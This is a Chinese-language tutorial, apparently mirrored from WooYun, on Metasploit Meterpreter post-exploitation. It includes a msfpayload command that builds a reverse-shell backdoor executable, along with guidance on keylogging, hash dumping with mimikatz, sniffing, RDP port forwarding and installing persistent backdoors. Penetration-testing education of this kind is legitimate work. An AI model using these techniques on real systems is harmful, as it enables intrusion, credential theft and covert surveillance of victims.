作者:
DM_
·
2014/06/10 12:34
0x01 背景
meterpreter作為後滲透模組有多種型別,並且命令由核心命令和擴充套件庫命令組成,極大的豐富了攻擊方式。 需要說明的是meterpreter在漏洞利用成功後會傳送第二階段的程式碼和meterpreter伺服器dll,所以在網路不穩定的情況下經常出現沒有可執行命令,或者會話建立執行help之後發現缺少命令。 連上vpn又在內網中使用psexec和bind_tcp的時候經常會出現這種情況,別擔心結束了之後再來一次,喝杯茶就好了。
0x02 常用型別
reverse_tcp
path : payload/windows/meterpreter/reverse_tcp
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=8080 X > ~/Desktop/backdoor.exe
反向連線shell,使用起來很穩定。需要設定LHOST。
bind_tcp
path : payload/windows/meterpreter/bind_tcp
正向連線shell,因為在內網跨網段時無法連線到attack的機器,所以在內網中經常會使用,不需要設定LHOST。
reverse_http/https
path:payload/windows/meterpreter/reverse_http/https
透過http/https的方式反向連線,在網速慢的情況下不穩定,在某部落格上看到https如果反彈沒有收到資料,可以將監聽埠換成443試試。
0x03 基本命令
常用的有
background:將當前會話放置後臺
load/use:載入模組
Interact:切換進一個通道
migrate:遷移程式
run:執行一個已有的模組,這裡要說的是輸入run後按兩下tab,會列出所有的已有的指令碼,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。
Resource:執行一個已有的rc指令碼。
0x04 常用擴充套件庫介紹
meterpreter中不僅有基本命令還有很多擴充套件庫,load/use之後再輸入help,就可以看到關於這個模組的命令說明了。
stdapi command
檔案相關
stdapi中有關於檔案讀寫,上傳下載,目錄切換,截圖,攝像頭,鍵盤記錄,和系統相關的命令。 常用的當然就是檔案操作及網路有關的命令。 通常我會用upload和download進行檔案上傳和下載,注意在meterpreter中也可以切換目錄,當然也可以編輯檔案。所以就不用執行shell再用echo寫。
使用edit命令時需要注意編輯的是一個存在的檔案,edit不能新建檔案。 輸入edit + 檔案後就會呼叫vi編輯了。
網路相關
網路命令則有列出ip資訊(ipconfig),展示修改路由表(route),還有埠轉發(portfwd)。 比如portfwd:
在建立規則之後就可以連線本地3344埠,這樣遠端的3389埠就轉發出來了。
鍵盤監聽
這裡需要注意一下windows會話視窗的概念,windows桌面劃分為不同的會話(session),以便於與windows互動。會話0代表控制檯,1,2代表遠端桌面。所以要截獲鍵盤輸入必須在0中進行。可 以使用getdesktop檢視或者截張圖試試。否則使用setdesktop切換。
如果不行就切換到explorer.exe程式中,這樣也可以監聽到遠端桌面連線進來之後的鍵盤輸入資料。
mimikatz
這個不多介紹,只是因為這樣抓到的hash可以存進資料庫方便之後呼叫,不知道有沒有什麼方法可以快速的用第三方工具抓到hash/明文然後存進資料庫。
這裡是因為我的使用者本身就沒有密碼。
sniffer
就是不知道能不能把包儲存在victim上,然後後期再下下來,待實戰考證。
0x05使用自定指令碼
這裡的指令碼可以是rc指令碼,也可以是ruby指令碼,metasploit已經有很多自定義指令碼了。比如上面說過的arp_scanner,hashdump。這些指令碼都是用ruby編寫,所以對於後期自定義修改來說非常方便,這裡介紹一個很常見的指令碼scraper,它將目標機器上的常見資訊收集起來然後下載儲存在本地。推薦這個指令碼是因為這個過程非常不錯。可以加入自定義的命令等等。
/.msf4/logs/
下儲存了所有指令碼需要儲存的日誌記錄,當然不只這一個指令碼。同樣.msf4資料夾下還儲存了其他東西,比如輸入過的命令,msf執行過程的日誌等。 Scraper指令碼將儲存結果在/.msf4/logs/scripts/scraper/
下。
0x06 持續性後門
metasploit自帶的後門有兩種方式啟動的,一種是透過服務啟動(metsvc),一種是透過啟動項啟動(persistence) 優缺點各異:metsvc是透過服務啟動,但是服務名是meterpreter,指令碼程式碼見圖,
這裡需要上傳三個檔案,然後用metsvc.exe 安裝服務。不知道服務名能不能透過修改metsvc.exe達到。 安裝過程和回連過程都很簡單
下次回連時使用windows/metsvc_bind_tcp的payload就可以。
0x07 後記
meterpreter提供了很多攻擊或收集資訊的指令碼,並且還有很多API(具體參考官方文件),及擴充套件。在對ruby程式碼理解的程度上,如果能根據目標環境和現狀修改現有指令碼或編寫自己的指令碼則能夠極大的提高效率,獲得預期的結果。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!